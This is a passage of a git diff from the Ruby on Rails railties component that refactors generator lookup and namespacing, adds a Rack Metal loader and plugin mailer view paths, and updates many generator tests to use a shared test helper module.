+ puts " -q, [--quiet] # Supress status output"
+ puts
+ puts "Please choose a generator below."
+ puts
+
+ # Print Rails defaults first.
+ rails = groups.delete("rails")
+ rails.map! { |n| n.sub(/^rails:/, '') }
+ print_list("rails", rails)
+
+ groups.sort.each { |b, n| print_list(b, n) }
end
protected
- # Keep builtin generators in an Array.
- def self.builtin #:nodoc:
- Dir[File.dirname(__FILE__) + '/generators/*/*'].collect do |file|
- file.split('/')[-2, 2].join(':')
- end
+ # Prints a list of generators.
+ def self.print_list(base, namespaces) #:nodoc:
+ return if namespaces.empty?
+ puts "#{base.camelize}:"
+ namespaces.each { |namespace| puts(" #{namespace}") }
+ puts
end
# Try fallbacks for the given base.
@@ -252,27 +226,55 @@ module Rails
nil
end
+ # This will try to load any generator in the load path to show in help.
+ def self.traverse_load_paths! #:nodoc:
+ $LOAD_PATH.each do |base|
+ Dir[File.join(base, "{generators,rails_generators}", "**", "*_generator.rb")].each do |path|
+ begin
+ require path
+ rescue Exception => e
+ # No problem
+ end
+ end
+ end
+ end
+
# Receives namespaces in an array and tries to find matching generators
# in the load path.
- def self.lookup(*attempts) #:nodoc:
- attempts.compact!
- attempts.uniq!
- attempts = "{#{attempts.join(',')}}_generator.rb"
+ def self.lookup(namespaces) #:nodoc:
+ paths = namespaces_to_paths(namespaces)
+
+ paths.each do |path|
+ ["generators", "rails_generators"].each do |base|
+ path = "#{base}/#{path}_generator"
- self.load_paths.each do |path|
- Dir[File.join(path, '**', attempts)].each do |file|
begin
- require file
+ require path
+ return
+ rescue LoadError => e
+ raise unless e.message =~ /#{Regexp.escape(path)}$/
rescue NameError => e
- raise unless e.message =~ /Rails::Generator/
- warn "[WARNING] Could not load generator at #{file.inspect} because it's a Rails 2.x generator, which is not supported anymore"
- rescue Exception => e
- warn "[WARNING] Could not load generator at #{file.inspect}. Error: #{e.message}"
+ raise unless e.message =~ /Rails::Generator([\s(::)]|$)/
+ warn "[WARNING] Could not load generator #{path.inspect} because it's a Rails 2.x generator, which is not supported anymore. Error: #{e.message}"
end
end
end
end
+ # Convert namespaces to paths by replacing ":" for "/" and adding
+ # an extra lookup. For example, "rails:model" should be searched
+ # in both: "rails/model/model_generator" and "rails/model_generator".
+ def self.namespaces_to_paths(namespaces) #:nodoc:
+ paths = []
+ namespaces.each do |namespace|
+ pieces = namespace.split(":")
+ paths << pieces.dup.push(pieces.last).join("/")
+ paths << pieces.join("/")
+ end
+ paths.uniq!
+ paths
+ end
+
end
end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index 26abb46644..f4b2bd1ae9 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -17,7 +17,7 @@ module Rails
def self.source_root
@_rails_source_root ||= begin
if base_name && generator_name
- File.expand_path(File.join(File.dirname(__FILE__), base_name, generator_name, 'templates'))
+ File.expand_path(File.join("../../generators", base_name, generator_name, 'templates'), File.dirname(__FILE__))
end
end
end
@@ -42,7 +42,7 @@ module Rails
#
def self.namespace(name=nil)
return super if name
- @namespace ||= super.sub(/_generator$/, '')
+ @namespace ||= super.sub(/_generator$/, '').sub(/:generators:/, ':')
end
# Invoke a generator based on the value supplied by the user to the
@@ -324,9 +324,13 @@ module Rails
# added hook is being used.
#
def self.prepare_for_invocation(name, value) #:nodoc:
+ return super unless value.is_a?(String) || value.is_a?(Symbol)
+
if value && constants = self.hooks[name]
value = name if TrueClass === value
Rails::Generators.find_by_namespace(value, *constants)
+ elsif klass = Rails::Generators.find_by_namespace(value)
+ klass
else
super
end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index 1d4f52286e..3e851bf888 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -6,10 +6,12 @@ module Rails
class NamedBase < Base
argument :name, :type => :string
- attr_reader :class_name, :singular_name, :plural_name, :table_name,
- :class_path, :file_path, :class_nesting_depth
+ no_tasks {
+ attr_reader :class_name, :singular_name, :plural_name, :table_name,
+ :class_path, :file_path, :class_nesting_depth
- alias :file_name :singular_name
+ alias :file_name :singular_name
+ }
def initialize(args, *options) #:nodoc:
# Unfreeze name in case it's given as a frozen string
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index 99954e2292..7e00a222ed 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -9,10 +9,14 @@ module Rails
mattr_accessor :skip_warn
def self.included(base) #:nodoc:
- base.send :attr_reader, :controller_name, :controller_class_name, :controller_file_name,
- :controller_class_path, :controller_file_path
+ base.class_eval do
+ class_option :force_plural, :type => :boolean, :desc => "Forces the use of a plural ModelName"
- base.send :class_option, :force_plural, :type => :boolean, :desc => "Forces the use of a plural ModelName"
+ no_tasks {
+ attr_reader :controller_name, :controller_class_name, :controller_file_name,
+ :controller_class_path, :controller_file_path
+ }
+ end
end
# Set controller variables on initialization.
diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb
index a057b8f701..0c09730963 100644
--- a/railties/lib/rails/plugin.rb
+++ b/railties/lib/rails/plugin.rb
@@ -50,7 +50,11 @@ module Rails
end
initializer :add_view_paths, :after => :initialize_framework_views do
- ActionController::Base.view_paths.concat ["#{path}/app/views"] if File.directory?("#{path}/app/views")
+ plugin_views = "#{path}/app/views"
+ if File.directory?(plugin_views)
+ ActionController::Base.view_paths.concat([plugin_views]) if defined? ActionController
+ ActionMailer::Base.view_paths.concat([plugin_views]) if defined? ActionMailer
+ end
end
# TODO Isn't it supposed to be :after => "action_controller.initialize_routing" ?
@@ -62,4 +66,4 @@ module Rails
end
end
end
-end \ No newline at end of file
+end
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
index d487bd0542..36945a6b0f 100644
--- a/railties/lib/rails/rack.rb
+++ b/railties/lib/rails/rack.rb
@@ -1,7 +1,8 @@
module Rails
module Rack
- autoload :Debugger, "rails/rack/debugger"
+ autoload :Debugger, "rails/rack/debugger"
autoload :LogTailer, "rails/rack/log_tailer"
- autoload :Static, "rails/rack/static"
+ autoload :Metal, "rails/rack/metal"
+ autoload :Static, "rails/rack/static"
end
end
diff --git a/railties/lib/rails/rack/metal.rb b/railties/lib/rails/rack/metal.rb
new file mode 100644
index 0000000000..565f95d7c4
--- /dev/null
+++ b/railties/lib/rails/rack/metal.rb
@@ -0,0 +1,26 @@
+require 'action_dispatch'
+
+module Rails
+ module Rack
+ class Metal
+ def initialize(metal_roots, metals=nil)
+ load_list = metals || Dir["{#{metal_roots.join(",")}}/**/*.rb"]
+
+ @metals = load_list.map { |metal|
+ metal = File.basename(metal, '.rb')
+ require_dependency metal
+ metal.camelize.constantize
+ }.compact
+ end
+
+ def new(app)
+ ActionDispatch::Cascade.new(@metals, app)
+ end
+
+ def name
+ ActionDispatch::Cascade.name
+ end
+ alias_method :to_s, :name
+ end
+ end
+end
diff --git a/railties/lib/rails/subscriber.rb b/railties/lib/rails/subscriber.rb
index e8d13babf0..2674bf003e 100644
--- a/railties/lib/rails/subscriber.rb
+++ b/railties/lib/rails/subscriber.rb
@@ -66,7 +66,7 @@ module Rails
subscriber.send(name, ActiveSupport::Notifications::Event.new(*args))
end
- if args[0] == "action_dispatch.callback" && !subscribers.empty?
+ if args[0] == "action_dispatch.after_dispatch" && !subscribers.empty?
flush_all!
log_tailer.tail! if log_tailer
end
diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake
index db1939c45f..65d0d476ba 100644
--- a/railties/lib/rails/tasks/documentation.rake
+++ b/railties/lib/rails/tasks/documentation.rake
@@ -55,7 +55,7 @@ namespace :doc do
desc "Generate Rails guides"
task :guides do
require File.join(RAILTIES_PATH, "guides/rails_guides")
- RailsGuides::Generator.new(File.join(RAILS_ROOT, "doc/guides")).generate
+ RailsGuides::Generator.new(Rails.root.join("doc/guides")).generate
end
namespace :plugins do
diff --git a/railties/lib/rails/tasks/framework.rake b/railties/lib/rails/tasks/framework.rake
index f7b53885c8..5d7c094d8b 100644
--- a/railties/lib/rails/tasks/framework.rake
+++ b/railties/lib/rails/tasks/framework.rake
@@ -85,15 +85,16 @@ namespace :rails do
template = ENV["LOCATION"]
template = File.expand_path(template) if template !~ %r{\A[A-Za-z][A-Za-z0-9+\-\.]*://}
- require 'generators'
- generator = Rails::Generators::App.new [ Rails.root ], {}, :destination_root => Rails.root
+ require 'rails/generators'
+ require 'generators/rails/app/app_generator'
+ generator = Rails::Generators::AppGenerator.new [ Rails.root ], {}, :destination_root => Rails.root
generator.apply template, :verbose => false
end
namespace :update do
def invoke_from_app_generator(method)
require 'rails/generators'
- require 'rails/generators/rails/app/app_generator'
+ require 'generators/rails/app/app_generator'
generator = Rails::Generators::AppGenerator.new ["rails"], { :with_dispatchers => true },
:destination_root => Rails.root
diff --git a/railties/lib/rails/vendor/thor-0.12.3/lib/thor/group.rb b/railties/lib/rails/vendor/thor-0.12.3/lib/thor/group.rb
index a585b37b73..eda3b52c4f 100644
--- a/railties/lib/rails/vendor/thor-0.12.3/lib/thor/group.rb
+++ b/railties/lib/rails/vendor/thor-0.12.3/lib/thor/group.rb
@@ -252,10 +252,13 @@ class Thor::Group
shell.padding += 1
result = if block_given?
- if block.arity == 2
- block.call(self, klass)
- else
+ case block.arity
+ when 3
block.call(self, klass, task)
+ when 2
+ block.call(self, klass)
+ when 1
+ instance_exec(klass, &block)
end
else
invoke klass, task, *args
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 7b3077bb6e..1c5cc62ecd 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -18,7 +18,9 @@ module ApplicationTests
"Rack::Lock",
"Rack::Runtime",
"ActionDispatch::ShowExceptions",
+ "ActionDispatch::Notifications",
"ActionDispatch::Callbacks",
+ "ActionDispatch::Cookies",
"ActionDispatch::Session::CookieStore",
"ActionDispatch::Flash",
"ActionDispatch::Cascade",
diff --git a/railties/test/application/notifications_test.rb b/railties/test/application/notifications_test.rb
index 1eb0777db8..db8605edbe 100644
--- a/railties/test/application/notifications_test.rb
+++ b/railties/test/application/notifications_test.rb
@@ -64,7 +64,7 @@ module ApplicationTests
ActiveRecord::Base.logger = logger = MockLogger.new
- # Mimic an ActiveRecord notifications
+ # Mimic ActiveRecord notifications
instrument "active_record.sql", :name => "SQL", :sql => "SHOW tables"
wait
diff --git a/railties/test/backtrace_cleaner_test.rb b/railties/test/backtrace_cleaner_test.rb
index 6cff591b94..80077378db 100644
--- a/railties/test/backtrace_cleaner_test.rb
+++ b/railties/test/backtrace_cleaner_test.rb
@@ -37,7 +37,7 @@ if defined? Gem
test "should format installed gems correctly" do
@backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
- @result = @cleaner.clean(@backtrace)
+ @result = @cleaner.clean(@backtrace, :all)
assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
end
@@ -46,7 +46,7 @@ if defined? Gem
# skip this test if default_dir is the only directory on Gem.path
if @target_dir
@backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
- @result = @cleaner.clean(@backtrace)
+ @result = @cleaner.clean(@backtrace, :all)
assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
end
end
diff --git a/railties/test/fixtures/lib/generators/active_record/fixjour/fixjour_generator.rb b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
index a7d079a1bc..7a4edb8bcb 100644
--- a/railties/test/fixtures/lib/generators/active_record/fixjour/fixjour_generator.rb
+++ b/railties/test/fixtures/lib/generators/active_record/fixjour_generator.rb
@@ -1,4 +1,4 @@
-require 'rails/generators/active_record'
+require 'generators/active_record'
module ActiveRecord
module Generators
diff --git a/railties/test/fixtures/lib/generators/rails/javascripts_generator.rb b/railties/test/fixtures/lib/generators/rails/javascripts_generator.rb
deleted file mode 100644
index cad5e96784..0000000000
--- a/railties/test/fixtures/lib/generators/rails/javascripts_generator.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-module Rails::Generators
- class JavascriptsGenerator < Rails::Generators::NamedBase
- end
-end
diff --git a/railties/test/fixtures/vendor/gems/gems/wrong/lib/generators/wrong_generator.rb b/railties/test/fixtures/lib/generators/wrong_generator.rb
index 6aa7cb052e..6aa7cb052e 100644
--- a/railties/test/fixtures/vendor/gems/gems/wrong/lib/generators/wrong_generator.rb
+++ b/railties/test/fixtures/lib/generators/wrong_generator.rb
diff --git a/railties/test/fixtures/vendor/another_gem_path/xspec/lib/generators/xspec_generator.rb b/railties/test/fixtures/vendor/another_gem_path/xspec/lib/generators/xspec_generator.rb
deleted file mode 100644
index cd477eb4c9..0000000000
--- a/railties/test/fixtures/vendor/another_gem_path/xspec/lib/generators/xspec_generator.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class XspecGenerator < Rails::Generators::NamedBase
-end
diff --git a/railties/test/fixtures/vendor/plugins/mspec/lib/rails_generators/mspec_generator.rb b/railties/test/fixtures/vendor/plugins/mspec/lib/rails_generators/mspec_generator.rb
deleted file mode 100644
index 191bdbf2fc..0000000000
--- a/railties/test/fixtures/vendor/plugins/mspec/lib/rails_generators/mspec_generator.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class MspecGenerator < Rails::Generators::NamedBase
-end
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index 27b6a49566..cb1fa96e0d 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -1,7 +1,11 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/app/app_generator'
+require 'generators/rails/app/app_generator'
-class ActionsTest < GeneratorsTestCase
+# TODO This line shouldn't be required
+require 'generators/rails/model/model_generator'
+
+class ActionsTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
tests Rails::Generators::AppGenerator
arguments [destination_root]
@@ -11,6 +15,16 @@ class ActionsTest < GeneratorsTestCase
@svn_plugin_uri = 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
end
+ def test_invoke_other_generator_with_shortcut
+ action :invoke, 'model', ['my_model']
+ assert_file 'app/models/my_model.rb', /MyModel/
+ end
+
+ def test_invoke_other_generator_with_full_namespace
+ action :invoke, 'rails:model', ['my_model']
+ assert_file 'app/models/my_model.rb', /MyModel/
+ end
+
def test_create_file_should_write_data_to_file_path
action :create_file, 'lib/test_file.rb', 'heres test data'
assert_file 'lib/test_file.rb', 'heres test data'
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index 62ea07f14e..f821f5caf3 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -1,8 +1,9 @@
require 'abstract_unit'
require 'generators/generators_test_helper'
-require 'rails/generators/rails/app/app_generator'
+require 'generators/rails/app/app_generator'
-class AppGeneratorTest < GeneratorsTestCase
+class AppGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments [destination_root]
def setup
@@ -80,11 +81,10 @@ class AppGeneratorTest < GeneratorsTestCase
assert_no_file "config/database.yml"
end
- # TODO: Bring this back using requires
- # def test_activerecord_is_removed_from_frameworks_if_skip_activerecord_is_given
- # run_generator ["--skip-activerecord"]
- # assert_file "config/application.rb", /config\.frameworks \-= \[ :active_record \]/
- # end
+ def test_activerecord_is_removed_from_frameworks_if_skip_activerecord_is_given
+ run_generator [destination_root, "--skip-activerecord"]
+ assert_file "config/boot.rb", /# require "active_record\/railtie"/
+ end
def test_prototype_and_test_unit_are_added_by_default
run_generator
@@ -159,7 +159,7 @@ class AppGeneratorTest < GeneratorsTestCase
end
def test_default_namespace
- assert_match "rails:generators:app", Rails::Generators::AppGenerator.namespace
+ assert_match "rails:app", Rails::Generators::AppGenerator.namespace
end
def test_file_is_added_for_backwards_compatibility
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
index 8e2fd3b9ed..79a4e5bf17 100644
--- a/railties/test/generators/controller_generator_test.rb
+++ b/railties/test/generators/controller_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/controller/controller_generator'
+require 'generators/rails/controller/controller_generator'
-class ControllerGeneratorTest < GeneratorsTestCase
+class ControllerGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(Account foo bar)
def test_help_does_not_show_invoked_generators_options_if_they_already_exist
diff --git a/railties/test/generators/generator_generator_test.rb b/railties/test/generators/generator_generator_test.rb
index 28377f23b0..f3fd688e4f 100644
--- a/railties/test/generators/generator_generator_test.rb
+++ b/railties/test/generators/generator_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/generator/generator_generator'
+require 'generators/rails/generator/generator_generator'
-class GeneratorGeneratorTest < GeneratorsTestCase
+class GeneratorGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(awesome)
def test_generator_skeleton_is_created
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
index 54953b76c8..3cd16a69f9 100644
--- a/railties/test/generators/generators_test_helper.rb
+++ b/railties/test/generators/generators_test_helper.rb
@@ -10,21 +10,19 @@ Rails.application.config.root = Rails.root
require 'rails/generators'
require 'rails/generators/test_case'
-require 'rubygems'
require 'active_record'
require 'action_dispatch'
-class GeneratorsTestCase < Rails::Generators::TestCase
- destination File.join(Rails.root, "tmp")
- setup :prepare_destination
+module GeneratorsTestHelper
+ def self.included(base)
+ base.class_eval do
+ destination File.join(Rails.root, "tmp")
+ setup :prepare_destination
- def self.inherited(base)
- base.tests Rails::Generators.const_get(base.name.sub(/Test$/, ''))
- rescue
- # Do nothing.
- end
-
- def test_truth
- # Don't cry test/unit
+ begin
+ base.tests Rails::Generators.const_get(base.name.sub(/Test$/, ''))
+ rescue
+ end
+ end
end
end \ No newline at end of file
diff --git a/railties/test/generators/helper_generator_test.rb b/railties/test/generators/helper_generator_test.rb
index cf18782986..6d7168738e 100644
--- a/railties/test/generators/helper_generator_test.rb
+++ b/railties/test/generators/helper_generator_test.rb
@@ -1,10 +1,11 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/helper/helper_generator'
+require 'generators/rails/helper/helper_generator'
ObjectHelper = Class.new
AnotherObjectHelperTest = Class.new
-class HelperGeneratorTest < GeneratorsTestCase
+class HelperGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(admin)
def test_helper_skeleton_is_created
diff --git a/railties/test/generators/integration_test_generator_test.rb b/railties/test/generators/integration_test_generator_test.rb
index 88e18be5b2..d7fc324c88 100644
--- a/railties/test/generators/integration_test_generator_test.rb
+++ b/railties/test/generators/integration_test_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/integration_test/integration_test_generator'
+require 'generators/rails/integration_test/integration_test_generator'
-class IntegrationTestGeneratorTest < GeneratorsTestCase
+class IntegrationTestGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(integration)
def test_integration_test_skeleton_is_created
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
index ee4346eb71..dfc3130f77 100644
--- a/railties/test/generators/mailer_generator_test.rb
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -1,12 +1,13 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/mailer/mailer_generator'
+require 'generators/rails/mailer/mailer_generator'
-class MailerGeneratorTest < GeneratorsTestCase
+class MailerGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(notifier foo bar)
def test_mailer_skeleton_is_created
run_generator
- assert_file "app/models/notifier.rb", /class Notifier < ActionMailer::Base/
+ assert_file "app/mailers/notifier.rb", /class Notifier < ActionMailer::Base/
end
def test_check_class_collision
@@ -16,7 +17,7 @@ class MailerGeneratorTest < GeneratorsTestCase
def test_invokes_default_test_framework
run_generator
- assert_file "test/unit/notifier_test.rb", /class NotifierTest < ActionMailer::TestCase/
+ assert_file "test/functional/notifier_test.rb", /class NotifierTest < ActionMailer::TestCase/
assert_file "test/fixtures/notifier/foo", /app\/views\/notifier\/foo/
assert_file "test/fixtures/notifier/bar", /app\/views\/notifier\/bar/
end
@@ -39,7 +40,7 @@ class MailerGeneratorTest < GeneratorsTestCase
def test_actions_are_turned_into_methods
run_generator
- assert_file "app/models/notifier.rb", /def foo/
- assert_file "app/models/notifier.rb", /def bar/
+ assert_file "app/mailers/notifier.rb", /def foo/
+ assert_file "app/mailers/notifier.rb", /def bar/
end
end
diff --git a/railties/test/generators/metal_generator_test.rb b/railties/test/generators/metal_generator_test.rb
index 5d6a277561..e3a2384885 100644
--- a/railties/test/generators/metal_generator_test.rb
+++ b/railties/test/generators/metal_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/metal/metal_generator'
+require 'generators/rails/metal/metal_generator'
-class MetalGeneratorTest < GeneratorsTestCase
+class MetalGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(foo)
def test_metal_skeleton_is_created
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
index 2fd3e5c056..811a712fd5 100644
--- a/railties/test/generators/migration_generator_test.rb
+++ b/railties/test/generators/migration_generator_test.rb
@@ -1,7 +1,9 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/migration/migration_generator'
+require 'generators/rails/migration/migration_generator'
+
+class MigrationGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
-class MigrationGeneratorTest < GeneratorsTestCase
def test_migration
migration = "change_title_body_from_posts"
run_generator [migration]
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
index 051a43706b..79ce9a2a7b 100644
--- a/railties/test/generators/model_generator_test.rb
+++ b/railties/test/generators/model_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/model/model_generator'
+require 'generators/rails/model/model_generator'
-class ModelGeneratorTest < GeneratorsTestCase
+class ModelGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(Account name:string age:integer)
def test_help_shows_invoked_generators_options
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
index 8c1df3b992..99eb431a49 100644
--- a/railties/test/generators/named_base_test.rb
+++ b/railties/test/generators/named_base_test.rb
@@ -1,5 +1,5 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/scaffold_controller/scaffold_controller_generator'
+require 'generators/rails/scaffold_controller/scaffold_controller_generator'
# Mock out what we need from AR::Base.
module ActiveRecord
@@ -11,7 +11,8 @@ module ActiveRecord
end
end
-class NamedBaseTest < GeneratorsTestCase
+class NamedBaseTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
tests Rails::Generators::ScaffoldControllerGenerator
def test_named_generator_attributes
diff --git a/railties/test/generators/observer_generator_test.rb b/railties/test/generators/observer_generator_test.rb
index 44d9e4a9f3..058a19228d 100644
--- a/railties/test/generators/observer_generator_test.rb
+++ b/railties/test/generators/observer_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/observer/observer_generator'
+require 'generators/rails/observer/observer_generator'
-class ObserverGeneratorTest < GeneratorsTestCase
+class ObserverGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(account)
def test_invokes_default_orm
diff --git a/railties/test/generators/performance_test_generator_test.rb b/railties/test/generators/performance_test_generator_test.rb
index 099575ea1d..c95063a127 100644
--- a/railties/test/generators/performance_test_generator_test.rb
+++ b/railties/test/generators/performance_test_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/performance_test/performance_test_generator'
+require 'generators/rails/performance_test/performance_test_generator'
-class PerformanceTestGeneratorTest < GeneratorsTestCase
+class PerformanceTestGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(performance)
def test_performance_test_skeleton_is_created
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
index f84b8b6d50..4bfe210efb 100644
--- a/railties/test/generators/plugin_generator_test.rb
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -1,17 +1,33 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/plugin/plugin_generator'
+require 'generators/rails/plugin/plugin_generator'
-class PluginGeneratorTest < GeneratorsTestCase
+class PluginGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(plugin_fu)
def test_plugin_skeleton_is_created
run_generator
+ year = Date.today.year
%w(
vendor/plugins
vendor/plugins/plugin_fu
+ vendor/plugins/plugin_fu/init.rb
+ vendor/plugins/plugin_fu/install.rb
+ vendor/plugins/plugin_fu/uninstall.rb
vendor/plugins/plugin_fu/lib
+ vendor/plugins/plugin_fu/lib/plugin_fu.rb
).each{ |path| assert_file path }
+
+ %w(
+ vendor/plugins/plugin_fu/README
+ vendor/plugins/plugin_fu/Rakefile
+ ).each{ |path| assert_file path, /PluginFu/ }
+
+ %w(
+ vendor/plugins/plugin_fu/README
+ vendor/plugins/plugin_fu/MIT-LICENSE
+ ).each{ |path| assert_file path, /#{year}/ }
end
def test_check_class_collision
diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb
index 15c0ca0f01..959934bd71 100644
--- a/railties/test/generators/resource_generator_test.rb
+++ b/railties/test/generators/resource_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/resource/resource_generator'
+require 'generators/rails/resource/resource_generator'
-class ResourceGeneratorTest < GeneratorsTestCase
+class ResourceGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(account)
def setup
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 7593c14dd9..f971598d18 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -1,12 +1,13 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/scaffold_controller/scaffold_controller_generator'
+require 'generators/rails/scaffold_controller/scaffold_controller_generator'
module Unknown
module Generators
end
end
-class ScaffoldControllerGeneratorTest < GeneratorsTestCase
+class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(User name:string age:integer)
def test_controller_skeleton_is_created
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index 4ddc7b1c89..a7e9c8a231 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -1,7 +1,8 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/scaffold/scaffold_generator'
+require 'generators/rails/scaffold/scaffold_generator'
-class ScaffoldGeneratorTest < GeneratorsTestCase
+class ScaffoldGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
arguments %w(product_line title:string price:integer)
def setup
diff --git a/railties/test/generators/session_migration_generator_test.rb b/railties/test/generators/session_migration_generator_test.rb
index 251ffb19ed..de28b4c75b 100644
--- a/railties/test/generators/session_migration_generator_test.rb
+++ b/railties/test/generators/session_migration_generator_test.rb
@@ -1,7 +1,9 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/session_migration/session_migration_generator'
+require 'generators/rails/session_migration/session_migration_generator'
+
+class SessionMigrationGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
-class SessionMigrationGeneratorTest < GeneratorsTestCase
def test_session_migration_with_default_name
run_generator
assert_migration "db/migrate/add_sessions_table.rb", /class AddSessionsTable < ActiveRecord::Migration/
diff --git a/railties/test/generators/stylesheets_generator_test.rb b/railties/test/generators/stylesheets_generator_test.rb
index d9079327ba..718fcb1fa7 100644
--- a/railties/test/generators/stylesheets_generator_test.rb
+++ b/railties/test/generators/stylesheets_generator_test.rb
@@ -1,7 +1,9 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/stylesheets/stylesheets_generator'
+require 'generators/rails/stylesheets/stylesheets_generator'
+
+class StylesheetsGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
-class StylesheetsGeneratorTest < GeneratorsTestCase
def test_copy_stylesheets
run_generator
assert_file "public/stylesheets/scaffold.css"
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
index 2df218debc..60c81a813f 100644
--- a/railties/test/generators_test.rb
+++ b/railties/test/generators_test.rb
@@ -1,15 +1,21 @@
require 'generators/generators_test_helper'
-require 'rails/generators/rails/model/model_generator'
-require 'rails/generators/test_unit/model/model_generator'
+require 'generators/rails/model/model_generator'
+require 'generators/test_unit/model/model_generator'
require 'mocha'
-class GeneratorsTest < GeneratorsTestCase
+class GeneratorsTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+
def setup
- Rails::Generators.instance_variable_set(:@load_paths, nil)
- Gem.stubs(:respond_to?).with(:loaded_specs).returns(false)
+ @path = File.expand_path("lib", Rails.root)
+ $LOAD_PATH.unshift(@path)
+ end
+
+ def teardown
+ $LOAD_PATH.delete(@path)
end
- def test_invoke_add_generators_to_raw_lookups
+ def test_simple_invoke
TestUnit::Generators::ModelGenerator.expects(:start).with(["Account"], {})
Rails::Generators.invoke("test_unit:model", ["Account"])
end
@@ -34,87 +40,66 @@ class GeneratorsTest < GeneratorsTestCase
